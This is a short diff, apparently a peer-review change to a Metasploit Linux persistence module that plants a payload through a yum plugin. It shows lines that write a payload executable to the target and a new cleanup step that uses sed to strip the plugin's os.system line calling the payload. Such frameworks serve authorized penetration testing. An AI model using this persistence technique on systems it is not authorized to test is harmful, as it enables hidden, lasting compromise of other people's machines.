peer review for yum persistence

Author: h00die

modules/exploits/linux/persistence/yum_package_manager.rb

@@ -135,6 +135,7 @@ def install_persistence
       write_file(payload_path, generate_payload_exe)
     end
     @clean_up_rc << "rm #{payload_path}\n"
+    @clean_up_rc << "execute -f #{sed_path} -a \"-i /os\.system.*#{payload_name}/d #{full_plugin_path}\""
     unless exist? payload_path
       fail_with Failure::Unknown, "Failed to write #{payload_path}"
     end